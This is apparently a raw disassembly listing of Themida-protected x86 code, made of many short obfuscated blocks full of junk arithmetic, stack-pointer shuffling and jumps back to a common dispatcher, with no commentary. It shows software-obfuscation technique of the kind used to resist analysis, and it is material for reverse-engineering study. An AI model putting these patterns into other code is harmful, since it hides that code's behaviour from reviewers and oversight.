push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
push 1DEh
jmp loc_59689B
; ---------------------------------------------------------------------------
loc_5AA1B3: ; CODE XREF: Themida_:0059BE0Dj
push edx
mov edx, 36EED542h
add esi, 73EF58AAh
sub esp, 4
mov [esp], ebp
mov ebp, 7B015B6Eh
jmp loc_596285
; ---------------------------------------------------------------------------
loc_5AA1D2: ; CODE XREF: Themida_:0059E6C3j
neg ebp
add ebp, 50AA85AAh
xor ecx, ebp
pop ebp
jmp loc_59837E
; ---------------------------------------------------------------------------
loc_5AA1E2: ; CODE XREF: Themida_:005A4B48j
push 4ADAh
mov [esp], edx
push eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA1F1: ; CODE XREF: Themida_:005AA3DAj
add ch, 37h
sub ch, 81h
jmp loc_599BE8
; ---------------------------------------------------------------------------
loc_5AA1FC: ; CODE XREF: Themida_:0059FC76j
add esp, 4
add ebx, 2
push ebx
push dword ptr [esp+4]
push dword ptr [esp]
mov ebx, [esp]
push esi
mov esi, esp
jmp loc_5A33E5
; ---------------------------------------------------------------------------
loc_5AA218: ; CODE XREF: Themida_:005996EEj
add ebp, 4
push edx
jmp loc_595FCF
; ---------------------------------------------------------------------------
loc_5AA224: ; CODE XREF: Themida_:005A5610j
mov edi, 7ED14EAh
add edx, edi
jmp loc_5987D3
; ---------------------------------------------------------------------------
loc_5AA230: ; CODE XREF: Themida_:0059AA37j
mov [esp], edi
push 742E137Ch
jmp loc_596BF1
; ---------------------------------------------------------------------------
loc_5AA23D: ; CODE XREF: Themida_:0059BDC5j
add esp, 4
push edx
jmp loc_59AC25
; ---------------------------------------------------------------------------
loc_5AA249: ; CODE XREF: Themida_:005A69ECj
pop ecx
xchg ebx, [esp]
mov esp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA255: ; CODE XREF: Themida_:005A5E8Cj
xor esi, 392A94B1h
sub eax, esi
pop esi
jmp loc_59A754
; ---------------------------------------------------------------------------
loc_5AA263: ; CODE XREF: Themida_:0059F4F2j
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5A7210
; ---------------------------------------------------------------------------
loc_5AA273: ; CODE XREF: Themida_:005A6AB2j
pop ebx
jmp loc_598BC3
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6D31h
jmp loc_59913B
; ---------------------------------------------------------------------------
loc_5AA287: ; CODE XREF: Themida_:005A055Bj
pop esp
xor bl, al
movzx eax, al
mov dx, [esp]
push ebx
mov ebx, esp
push edx
push esi
mov esi, 1A9D61B6h
push ebx
jmp loc_59A253
; ---------------------------------------------------------------------------
loc_5AA2A1: ; CODE XREF: Themida_:0059B29Dj
not ah
mov dl, ah
push dword ptr [esp]
pop eax
add esp, 4
push 0
jmp loc_597CF7
; ---------------------------------------------------------------------------
loc_5AA2B9: ; CODE XREF: Themida_:0059FDFBj
add esp, 4
pop dword ptr [esp]
jmp loc_5A3E3C
; ---------------------------------------------------------------------------
loc_5AA2C7: ; CODE XREF: Themida_:0059857Fj
xchg edx, [esp]
mov esp, [esp]
push ebp
jmp loc_59D53D
; ---------------------------------------------------------------------------
loc_5AA2D3: ; CODE XREF: Themida_:0059FF7Ej
sub eax, 0EE043A7h
add eax, 66406C90h
pop ebp
sub eax, 30924F71h
sub eax, ebp
add eax, 30924F71h
push ebx
mov ebx, 68747FFFh
neg ebx
sub ebx, 647B08CFh
sub eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
sub eax, 5283667Eh
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
jmp loc_5A4F0C
; ---------------------------------------------------------------------------
loc_5AA322: ; CODE XREF: Themida_:0059C7E8j
xchg edi, [esp]
jmp loc_59F8E2
; ---------------------------------------------------------------------------
loc_5AA32A: ; CODE XREF: Themida_:005A9A37j
and edi, 2199486Dh
jmp loc_5A74AF
; ---------------------------------------------------------------------------
loc_5AA335: ; CODE XREF: Themida_:005968E6j
push edx
mov edx, 60DF43C5h
sub ebx, edx
pop edx
add ebx, ebp
add ebx, 60DF43C5h
push dword ptr [esp]
pop ebp
jmp loc_5A47EE
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ebp
push eax
jmp loc_59F363
; ---------------------------------------------------------------------------
loc_5AA359: ; CODE XREF: Themida_:005AA155j
push edi
mov edi, 596D378Ch
sub ebx, edi
pop edi
sub ebx, 0B304BC4Eh
sub esi, 34E34DABh
jmp loc_5A6C30
; ---------------------------------------------------------------------------
loc_5AA373: ; CODE XREF: Themida_:00599D5Dj
xchg ebp, [esp]
pop esp
sub esp, 4
jmp loc_595E93
; ---------------------------------------------------------------------------
loc_5AA382: ; CODE XREF: Themida_:0059B430j
mov esi, 2FE47D83h
xchg edi, esi
not edi
xchg edi, esi
add esi, 262348Dh
not esi
jmp loc_5A724C
; ---------------------------------------------------------------------------
loc_5AA39A: ; CODE XREF: Themida_:005A3443j
pop eax
sub esp, 2
jmp loc_599C60
; ---------------------------------------------------------------------------
loc_5AA3A6: ; CODE XREF: Themida_:005A1FAEj
xchg ebp, [esp]
pop esp
push ebx
push ecx
jmp loc_59ED6A
; ---------------------------------------------------------------------------
loc_5AA3B1: ; CODE XREF: Themida_:0059EB10j
add al, 0EDh
push ecx
mov ch, 75h
inc ch
add ch, 0D0h
jmp loc_5A5717
; ---------------------------------------------------------------------------
loc_5AA3C0: ; CODE XREF: Themida_:0059A938j
pop esp
add edx, ecx
pop ecx
push esi
mov esi, 4
add edx, esi
jmp loc_59FEA1
; ---------------------------------------------------------------------------
loc_5AA3D1: ; CODE XREF: Themida_:00596454j
sub ch, 20h
add ch, 0C5h
shl ch, 5
jmp loc_5AA1F1
; ---------------------------------------------------------------------------
loc_5AA3DF: ; CODE XREF: Themida_:005A9FB4j
push edx
jmp loc_5A6085
; ---------------------------------------------------------------------------
loc_5AA3E5: ; CODE XREF: Themida_:005A65ECj
push dword ptr [esp]
jmp loc_59C0CD
; ---------------------------------------------------------------------------
loc_5AA3ED: ; CODE XREF: Themida_:00597629j
mov edx, 43F96F1Dh
jmp loc_5A9B4F
; ---------------------------------------------------------------------------
loc_5AA3F7: ; CODE XREF: Themida_:0059790Fj
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_5A31F4
; ---------------------------------------------------------------------------
loc_5AA40D: ; CODE XREF: Themida_:005AAA2Cj
add esp, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_5A9853
; ---------------------------------------------------------------------------
loc_5AA421: ; CODE XREF: Themida_:0059DFA8j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59E541
; ---------------------------------------------------------------------------
loc_5AA42C: ; CODE XREF: Themida_:005A834Ej
dec edi
add edi, 820C8A84h
jmp loc_5A92D9
; ---------------------------------------------------------------------------
loc_5AA438: ; CODE XREF: Themida_:0059F24Aj
sub esp, 4
mov [esp], edx
push eax
mov ah, 0CFh
sub ah, 0F2h
mov dl, 3Ch
sub dl, 36h
jmp loc_59FAE9
; ---------------------------------------------------------------------------
loc_5AA44E: ; CODE XREF: Themida_:00597A0Bj
sub esi, 0FFFFFFFFh
push ecx
mov ecx, 47A40BD1h
push esi
mov esi, 6F622EB0h
add esi, 4D8A3968h
or esi, 50593613h
add esi, 0FFFFFFFFh
sub esi, 0C57B2EA6h
add ecx, esi
jmp loc_59FE24
; ---------------------------------------------------------------------------
loc_5AA479: ; CODE XREF: Themida_:005A0EE0j
pop ecx
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ebx
mov eax, [esp]
jmp loc_5A8F01
; ---------------------------------------------------------------------------
loc_5AA497: ; CODE XREF: Themida_:00598269j
mov esp, [esp]
jmp loc_59C0D5
; ---------------------------------------------------------------------------
loc_5AA49F: ; CODE XREF: Themida_:00597A53j
sub al, 0E4h
jmp loc_5A017C
; ---------------------------------------------------------------------------
loc_5AA4A6: ; CODE XREF: Themida_:00596E43j
mov ebx, [esp]
jmp loc_5A9650
; ---------------------------------------------------------------------------
loc_5AA4AE: ; CODE XREF: Themida_:005AB0B4j
mov esi, [esp]
add esp, 4
jmp loc_59758D
; ---------------------------------------------------------------------------
loc_5AA4BC: ; CODE XREF: Themida_:005AA773j
add ebp, 71DC1D5Ch
jmp loc_59FCB9
; ---------------------------------------------------------------------------
loc_5AA4C7: ; CODE XREF: Themida_:005A8AD2j
mov [esp], eax
sub esp, 4
mov [esp], edx
push edi
push edx
mov edx, 622E6285h
jmp loc_595EDA
; ---------------------------------------------------------------------------
loc_5AA4DC: ; CODE XREF: Themida_:005A2AE2j
inc word ptr [esp]
pushf
jmp loc_59CE6B
; ---------------------------------------------------------------------------
loc_5AA4E6: ; CODE XREF: Themida_:005A6611j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
jmp loc_59D443
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA50E: ; CODE XREF: Themida_:005A0810j
std
mov ecx, 350750C7h
push 0
sub [esp], ecx
jmp loc_5A35C9
; ---------------------------------------------------------------------------
loc_5AA521: ; CODE XREF: Themida_:0059B5A1j
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
push 5D11h
jmp loc_5AB0DB
; ---------------------------------------------------------------------------
loc_5AA53F: ; CODE XREF: Themida_:005A6339j
pop eax
jmp loc_59F491
; ---------------------------------------------------------------------------
loc_5AA545: ; CODE XREF: Themida_:00596BB1j
mov eax, esp
push 696Fh
mov [esp], edi
push ebp
push ecx
mov ecx, 7B356D51h
mov ebp, ecx
mov ecx, [esp]
jmp loc_5A751C
; ---------------------------------------------------------------------------
loc_5AA560: ; CODE XREF: Themida_:005A38A5j
pop esp
jmp loc_5A3F93
; ---------------------------------------------------------------------------
loc_5AA566: ; CODE XREF: Themida_:005A519Bj
sub ebp, edi
jmp loc_5A36CE
; ---------------------------------------------------------------------------
mov ax, [esp]
push 63E7h
mov [esp], ebp
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push 2F19h
mov [esp], esi
mov esi, 2
sub ebp, 47F40A04h
add ebp, esi
jmp loc_5A48C1
; ---------------------------------------------------------------------------
loc_5AA5B3: ; CODE XREF: Themida_:00598B2Bj
mov eax, ecx
pop ecx
jmp loc_59D550
; ---------------------------------------------------------------------------
loc_5AA5BB: ; CODE XREF: Themida_:0059D004j
sub esi, ebx
pop ebx
pop eax
jmp loc_5A36A0
; ---------------------------------------------------------------------------
loc_5AA5C4: ; CODE XREF: Themida_:005992BEj
mov esp, [esp]
imul cx
push small 142Eh
mov [esp], dx
push ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA5DA: ; CODE XREF: Themida_:0059BF05j
add ebp, 3E775044h
xchg ecx, ebp
not ecx
xchg ecx, ebp
jmp loc_5A70E4
; ---------------------------------------------------------------------------
loc_5AA5EB: ; CODE XREF: Themida_:0059C48Ej
shl eax, 2
add eax, 3DB535FCh
or ecx, eax
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 4A213541h
shr ebx, 2
xor ebx, 44D94A57h
and ebx, 4FC50BD9h
dec ebx
sub ebx, 0A64082FBh
sub ecx, 55003490h
add ecx, ebx
add ecx, 55003490h
pop ebx
add esi, ecx
pop ecx
add esi, 4
xchg esi, [esp]
pop esp
and esi, 5540A11h
xchg eax, esi
jmp loc_59B70C
; ---------------------------------------------------------------------------
loc_5AA642: ; CODE XREF: Themida_:005A9CCCj
add esp, 4
pop edi
shl ebp, 1
push edx
jmp loc_5A4634
; ---------------------------------------------------------------------------
loc_5AA651: ; CODE XREF: Themida_:005AB224j
sub esi, ebp
mov ebp, [esp]
add esp, 4
sub edx, esi
jmp loc_59D158
; ---------------------------------------------------------------------------
loc_5AA660: ; CODE XREF: Themida_:0059CAEEj
add eax, 4
jmp loc_5A4326
; ---------------------------------------------------------------------------
loc_5AA66A: ; CODE XREF: Themida_:005A9B96j
pop edx
pop eax
sub eax, esi
jmp loc_5A7E19
; ---------------------------------------------------------------------------
loc_5AA673: ; CODE XREF: Themida_:005AA0B9j
push edi
mov edi, 4
sub ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_5A99FF
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 6E71h
mov [esp], ax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA6A1: ; CODE XREF: Themida_:005986A7j
pop ebp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA6A7: ; CODE XREF: Themida_:00597668j
add ebx, 3A59012Ch
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_5A67A1
; ---------------------------------------------------------------------------
loc_5AA6C5: ; CODE XREF: Themida_:005A7F1Ej
add esp, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ebx
add esp, 4
push esi
jmp loc_5AAE35
; ---------------------------------------------------------------------------
loc_5AA6E7: ; CODE XREF: Themida_:0059D828j
xor edx, 3302E8E2h
mov ebx, 0CFA8A8B1h
sub ebx, 384277F9h
jmp loc_5A570A
; ---------------------------------------------------------------------------
loc_5AA6FD: ; CODE XREF: Themida_:0059E85Dj
pop esi
push eax
mov eax, ebp
mov edi, eax
pop eax
jmp loc_598B6C
; ---------------------------------------------------------------------------
loc_5AA709: ; CODE XREF: Themida_:005A6DC9j
add ecx, eax
sub ecx, 495E503Fh
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5A5B15
; ---------------------------------------------------------------------------
loc_5AA71D: ; CODE XREF: Themida_:005A2EACj
pop esp
sub esp, 4
mov [esp], edx
push ebx
push edx
mov edx, 8583EB3h
mov ebx, edx
pop edx
jmp loc_59C4A1
; ---------------------------------------------------------------------------
loc_5AA733: ; CODE XREF: Themida_:005A78C4j
push edi
mov edi, 639A5F32h
mov ebp, edi
jmp loc_59B88D
; ---------------------------------------------------------------------------
loc_5AA740: ; CODE XREF: Themida_:0059870Bj
push ebp
mov ebp, 4
add edx, ebp
jmp loc_597806
; ---------------------------------------------------------------------------
loc_5AA74D: ; CODE XREF: Themida_:005AB065j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA752: ; CODE XREF: Themida_:0059DD45j
pop ebp
jmp loc_5966A8
; ---------------------------------------------------------------------------
loc_5AA758: ; CODE XREF: Themida_:00599AA4j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA76D: ; CODE XREF: Themida_:005A19C8j
push ebp
mov ebp, 7ACC5C58h
jmp loc_5AA4BC
; ---------------------------------------------------------------------------
loc_5AA778: ; CODE XREF: Themida_:0059F745j
pop dword ptr [esp]
jmp loc_59BB7D
; ---------------------------------------------------------------------------
loc_5AA780: ; CODE XREF: Themida_:005A05E8j
mov edx, 7FBF7D7Dh
xor edi, edx
jmp loc_59E4AC
; ---------------------------------------------------------------------------
loc_5AA78C: ; CODE XREF: Themida_:005A6894j
mov [esp], esp
jmp loc_598ED2
; ---------------------------------------------------------------------------
loc_5AA794: ; CODE XREF: Themida_:005A9738j
push esi
push 4
pop esi
jmp loc_5991CC
; ---------------------------------------------------------------------------
loc_5AA7A0: ; CODE XREF: Themida_:0059E3AFj
mov ebx, esi
pop esi
jmp loc_59BEBF
; ---------------------------------------------------------------------------
loc_5AA7A8: ; CODE XREF: Themida_:005A7937j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA7AD: ; CODE XREF: Themida_:005A43B9j
pop esp
mov edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_599B28
; ---------------------------------------------------------------------------
loc_5AA7BB: ; CODE XREF: Themida_:005A1153j
push 13506AB3h
pop ecx
or ecx, 3C67271Eh
inc ecx
jmp loc_59B8F1
; ---------------------------------------------------------------------------
loc_5AA7CD: ; CODE XREF: Themida_:00597487j
sub esp, 4
mov [esp], esi
mov esi, esp
push ebx
mov ebx, 2CD854F3h
push ebx
inc dword ptr [esp]
jmp loc_5A6ED1
; ---------------------------------------------------------------------------
loc_5AA7E4: ; CODE XREF: Themida_:00598749j
sub ebx, 4F486319h
sub ebx, eax
add ebx, 4F486319h
push ecx
mov ecx, 74936DCDh
add ecx, 2A830037h
add ecx, 0FFFFFFFFh
shl ecx, 1
push ebx
jmp loc_59719E
; ---------------------------------------------------------------------------
loc_5AA809: ; CODE XREF: Themida_:00599057j
add esi, 3CAD57A0h
jmp loc_5A8F9E
; ---------------------------------------------------------------------------
loc_5AA814: ; CODE XREF: Themida_:00597541j
push 6AB1h
mov [esp], ebx
sub esp, 4
mov [esp], edi
push ecx
mov ecx, 1786448Bh
xor ecx, 17A6448Bh
mov edi, ecx
pop ecx
push 0B75h
mov [esp], edi
push 3314h
mov [esp], edi
push edx
mov edx, 5630BC7h
mov edi, 2A2343E6h
add edi, edx
pop edx
add dword ptr [esp+4], 56E30FFAh
jmp loc_5999C3
; ---------------------------------------------------------------------------
loc_5AA85C: ; CODE XREF: Themida_:0059ADC8j
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_5A5485
; ---------------------------------------------------------------------------
loc_5AA86C: ; CODE XREF: Themida_:0059EC45j
add eax, edx
jmp loc_59F8F3
; ---------------------------------------------------------------------------
loc_5AA873: ; CODE XREF: Themida_:005A7BECj
add eax, 2526198Ch
inc eax
xor eax, 0BBE6A6A1h
mov esi, eax
jmp loc_59F09A
; ---------------------------------------------------------------------------
loc_5AA885: ; CODE XREF: Themida_:005A8B02j
sub esi, 0CC07BD3h
jmp loc_5A223F
; ---------------------------------------------------------------------------
loc_5AA890: ; CODE XREF: Themida_:005A1D50j
mov ebp, 164E6D15h
xor eax, ebp
pop ebp
push edi
jmp loc_59607C
; ---------------------------------------------------------------------------
loc_5AA89E: ; CODE XREF: Themida_:0059FD73j
push edi
jmp loc_59662E
; ---------------------------------------------------------------------------
loc_5AA8A4: ; CODE XREF: Themida_:005A3160j
push esi
mov esi, 43CD395Bh
jmp loc_596949
; ---------------------------------------------------------------------------
loc_5AA8AF: ; CODE XREF: Themida_:005A74BDj
xor ecx, 8C16338h
or edi, ecx
pop ecx
add edi, 1
jmp loc_5983C3
; ---------------------------------------------------------------------------
loc_5AA8C0: ; CODE XREF: Themida_:0059C278j
push 6E0Ch
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5A360E
; ---------------------------------------------------------------------------
loc_5AA8D1: ; CODE XREF: Themida_:0059BD42j
xor [esp], ecx
xor ecx, [esp]
pop esp
push 4979h
mov [esp], edx
mov edx, 4
add ecx, edx
pop edx
jmp loc_59F74A
; ---------------------------------------------------------------------------
loc_5AA8ED: ; CODE XREF: Themida_:005A9AC0j
sub edx, 0B6EBB4EAh
and esi, edx
pop edx
shl esi, 7
sub esi, 86FFDD78h
sub edx, esi
pop esi
push ecx
mov ecx, 74761F14h
jmp loc_5A07B4
; ---------------------------------------------------------------------------
loc_5AA90D: ; CODE XREF: Themida_:005A9611j
sub dl, 76h
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59C1F9
; ---------------------------------------------------------------------------
loc_5AA91F: ; CODE XREF: Themida_:005985A6j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_59F063
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 7EBEh
mov [esp], ecx
push ecx
jmp loc_5A7F77
; ---------------------------------------------------------------------------
loc_5AA93F: ; CODE XREF: Themida_:005A1463j
mov edx, esi
jmp loc_5A5066
; ---------------------------------------------------------------------------
loc_5AA946: ; CODE XREF: Themida_:0059BA88j
sub edx, 578201C6h
add edx, 7B283578h
add edx, eax
sub edx, 7B283578h
jmp loc_599B71
; ---------------------------------------------------------------------------
loc_5AA95F: ; CODE XREF: Themida_:005AAE6Ej
mov ebx, 65934F76h
sub eax, ebx
mov ebx, [esp]
add esp, 4
push 53D2h
mov [esp], ebx
jmp loc_59C9FE
; ---------------------------------------------------------------------------
loc_5AA97C: ; CODE XREF: Themida_:005A5410j
shl ebp, 1
jmp loc_5A33F0
; ---------------------------------------------------------------------------
loc_5AA983: ; CODE XREF: Themida_:005A1283j
mov esi, 33D5BAFh
sub esi, 10A66CC5h
xor esi, 45670944h
xor esi, 215F152Dh
add esi, 6CF26C55h
push 1447h
mov [esp], edx
mov edx, 0A5410E7h
jmp loc_59A904
; ---------------------------------------------------------------------------
loc_5AA9B2: ; CODE XREF: Themida_:005A8DAAj
add [esp+4], edx
add dword ptr [esp+4], 6C682557h
mov edx, [esp]
add esp, 4
jmp loc_5A32FA
; ---------------------------------------------------------------------------
loc_5AA9CC: ; CODE XREF: Themida_:005A0973j
mov [esp], edi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5A7EFE
; ---------------------------------------------------------------------------
loc_5AA9E9: ; CODE XREF: Themida_:005AAF42j
add edx, 0FCA9ED02h
jmp loc_59E65F
; ---------------------------------------------------------------------------
loc_5AA9F4: ; CODE XREF: Themida_:005988F4j
add eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
jmp loc_5A1210
; ---------------------------------------------------------------------------
loc_5AAA02: ; CODE XREF: Themida_:005AB23Dj
sub al, ch
pop ecx
sub al, bl
add al, 84h
pop ebx
sub al, bl
push ebx
jmp loc_5A722F
; ---------------------------------------------------------------------------
loc_5AAA12: ; CODE XREF: Themida_:005A8D32j
shl ebx, 8
sub ebx, 1
push eax
mov eax, 0FFFFFFFFh
sub ebx, eax
pop eax
xor ebx, 0D6786004h
add edi, ebx
mov ebx, [esp]
jmp loc_5AA40D
; ---------------------------------------------------------------------------
loc_5AAA31: ; CODE XREF: Themida_:0059A6F9j
mov ebx, 7E28737Fh
xor ebx, ecx
mov ecx, [esp]
jmp loc_59F2DB
; ---------------------------------------------------------------------------
loc_5AAA40: ; CODE XREF: Themida_:005A254Cj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_59D804
; ---------------------------------------------------------------------------
loc_5AAA55: ; CODE XREF: Themida_:0059B72Fj
mov ecx, 47516DB7h
xor ecx, 72F27700h
jmp loc_5A05D1
; ---------------------------------------------------------------------------
loc_5AAA65: ; CODE XREF: Themida_:005AA0CDj
push esp
jmp loc_59AE22
; ---------------------------------------------------------------------------
loc_5AAA6B: ; CODE XREF: Themida_:005A63C7j
push ebx
jmp loc_5A02AA
; ---------------------------------------------------------------------------
loc_5AAA71: ; CODE XREF: Themida_:005A9C0Bj
not ecx
sub ecx, 2A83ABB7h
jmp loc_5A575E
; ---------------------------------------------------------------------------
loc_5AAA7E: ; CODE XREF: Themida_:005991C7j
sub edx, ebp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 552423D5h
add ebx, 2265244Ch
add ebx, 0F1592E51h
add edx, ebx
jmp loc_5A925B
; ---------------------------------------------------------------------------
loc_5AAAA2: ; CODE XREF: Themida_:0059EDBCj
mov bh, 71h
mov dl, 0B0h
xor dl, bh
pop ebx
inc dl
push ebx
push eax
mov ah, 0D7h
mov bh, 9Eh
add bh, ah
jmp loc_5A0FA9
; ---------------------------------------------------------------------------
loc_5AAAB8: ; CODE XREF: Themida_:005A32EAj
add esi, 25B62153h
sub esi, 682F7875h
not esi
push ebx
mov ebx, 0E7175EDh
push eax
mov eax, 535518CCh
add eax, 0A604E4Dh
and eax, 18532E07h
jmp loc_59E8A8
; ---------------------------------------------------------------------------
loc_5AAAE1: ; CODE XREF: Themida_:005A8C76j
sub ebp, 5B0E7331h
add ebp, edi
push esi
push 18C2h
mov [esp], edi
mov edi, 23F3BE8h
jmp loc_596CB4
; ---------------------------------------------------------------------------
loc_5AAAFC: ; CODE XREF: Themida_:00599172j
mov ah, 42h
xor ah, 47h
sub ah, 0DDh
neg ah
and ah, 89h
sub ah, 8Dh
jmp loc_597EE8
; ---------------------------------------------------------------------------
loc_5AAB11: ; CODE XREF: Themida_:0059F325j
add edi, 2757E21h
jmp loc_5A5523
; ---------------------------------------------------------------------------
loc_5AAB1C: ; CODE XREF: Themida_:0059B5D4j
add ebp, 0B0771A95h
sub edi, ebp
pop ebp
add edi, ebp
add edi, 6F361A93h
pop ebp
xchg edi, [esp]
mov esp, [esp]
push eax
mov eax, 5A61741Ah
add [esp+4], eax
jmp loc_5A8DD6
; ---------------------------------------------------------------------------
loc_5AAB43: ; CODE XREF: Themida_:005A4321j
push ebp
mov ebp, 48301Eh
add esi, 297039Fh
sub esi, ebp
sub esi, 297039Fh
pop ebp
push edx
mov edx, esi
mov ebx, edx
pop edx
jmp loc_59EFB1
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_5A3A0A
; ---------------------------------------------------------------------------
loc_5AAB72: ; CODE XREF: Themida_:005970E2j
add esi, edx
jmp loc_599B82
; ---------------------------------------------------------------------------
loc_5AAB79: ; CODE XREF: Themida_:005A3F03j
shr ebp, 6
sub ebp, 0E5B1539Ah
mov ebx, ebp
pop ebp
jmp loc_5A5A10
; ---------------------------------------------------------------------------
loc_5AAB8A: ; CODE XREF: Themida_:0059E2E4j
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_599F75
; ---------------------------------------------------------------------------
loc_5AAB98: ; CODE XREF: Themida_:005A08EFj
xor eax, esi
pop esi
sub ebp, 3C4750BBh
add ebp, eax
add ebp, 3C4750BBh
pop eax
push eax
mov eax, 55CE3946h
shl eax, 1
add eax, 733731ABh
sub eax, 556061A9h
jmp loc_5A4CF4
; ---------------------------------------------------------------------------
loc_5AABC1: ; CODE XREF: Themida_:005A84CDj
push edx
mov edx, 4
add ebx, edx
mov edx, [esp]
jmp loc_59BC2E
; ---------------------------------------------------------------------------
loc_5AABD1: ; CODE XREF: Themida_:005A9791j
pop esp
mov [esp], edx
mov dl, al
push ebx
jmp loc_5A406E
; ---------------------------------------------------------------------------
loc_5AABDD: ; CODE XREF: Themida_:005A9264j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5A5EFE
; ---------------------------------------------------------------------------
loc_5AABEE: ; CODE XREF: Themida_:00599694j
add esp, 4
push eax
push edi
mov edi, 24A8207Eh
jmp loc_59AD82
; ---------------------------------------------------------------------------
loc_5AABFD: ; CODE XREF: Themida_:005A52A5j
mov [esp], ebx
sub esp, 4
mov [esp], esi
push edx
mov edx, 3A230850h
add edx, 2D1B1BDCh
mov esi, edx
pop edx
push ebp
push edi
mov edi, 98C1DBD8h
push ecx
mov ecx, edi
mov ebp, ecx
pop ecx
jmp loc_5A25DA
; ---------------------------------------------------------------------------
loc_5AAC2A: ; CODE XREF: Themida_:005A52EAj
add ah, dh
pop dx
sub ah, 8Ch
mov ch, ah
push dword ptr [esp]
pop eax
add esp, 4
add bl, ch
jmp loc_5A8D46
; ---------------------------------------------------------------------------
loc_5AAC41: ; CODE XREF: Themida_:0059930Fj
mov [esp], ebp
jmp loc_5A8C1E
; ---------------------------------------------------------------------------
loc_5AAC49: ; CODE XREF: Themida_:0059E7B7j
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 2B301435h
sub ecx, 479F3337h
dec ecx
add ecx, 79F405ADh
jmp loc_5969B9
; ---------------------------------------------------------------------------
loc_5AAC6F: ; CODE XREF: Themida_:00598274j
or edi, ebp
pop ebp
jmp loc_5A073D
; ---------------------------------------------------------------------------
loc_5AAC77: ; CODE XREF: Themida_:0059AA4Ej
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_59F3AB
; ---------------------------------------------------------------------------
loc_5AAC87: ; CODE XREF: Themida_:005A8416j
xor ebx, 4A113E9Fh
add ebx, 47E16937h
jmp loc_596045
; ---------------------------------------------------------------------------
loc_5AAC98: ; CODE XREF: Themida_:00599C40j
mov ah, bl
mov ch, ah
pop eax
pop ebx
xor ch, 0AAh
shl ch, 2
push ecx
not byte ptr [esp+1]
pop ecx
xchg dl, ch
push edx
inc byte ptr [esp]
pop edx
xchg dl, ch
neg ch
push ax
mov al, 85h
add ch, al
pop ax
push ebx
mov bl, ch
mov ah, bl
jmp loc_597812
; ---------------------------------------------------------------------------
loc_5AACC7: ; CODE XREF: Themida_:00599963j
push edi
push ebp
push 6B031AF1h
pop ebp
jmp loc_5A5437
; ---------------------------------------------------------------------------
loc_5AACD4: ; CODE XREF: Themida_:0059EC71j
pop ecx
add esp, 4
add edx, 4
push edx
push dword ptr [esp+4]
jmp loc_5A546D
; ---------------------------------------------------------------------------
loc_5AACE8: ; CODE XREF: Themida_:005A10D3j
pop eax
jmp loc_59CB1C
; ---------------------------------------------------------------------------
loc_5AACEE: ; CODE XREF: Themida_:005A8CCFj
push eax
mov eax, 62930A70h
mov ecx, 6E720F22h
sub ecx, eax
pop eax
xor ecx, 1F136C8Fh
sub esi, ecx
jmp loc_59C991
; ---------------------------------------------------------------------------
xchg edi, [esp]
xor edi, ebp
xor ebp, edi
jmp loc_59DF56
; ---------------------------------------------------------------------------
loc_5AAD15: ; CODE XREF: Themida_:005A93F6j
push ebx
jmp loc_5A3AAE
; ---------------------------------------------------------------------------
loc_5AAD1B: ; CODE XREF: Themida_:005A9E4Cj
pop ecx
push esi
jmp loc_5A2924
; ---------------------------------------------------------------------------
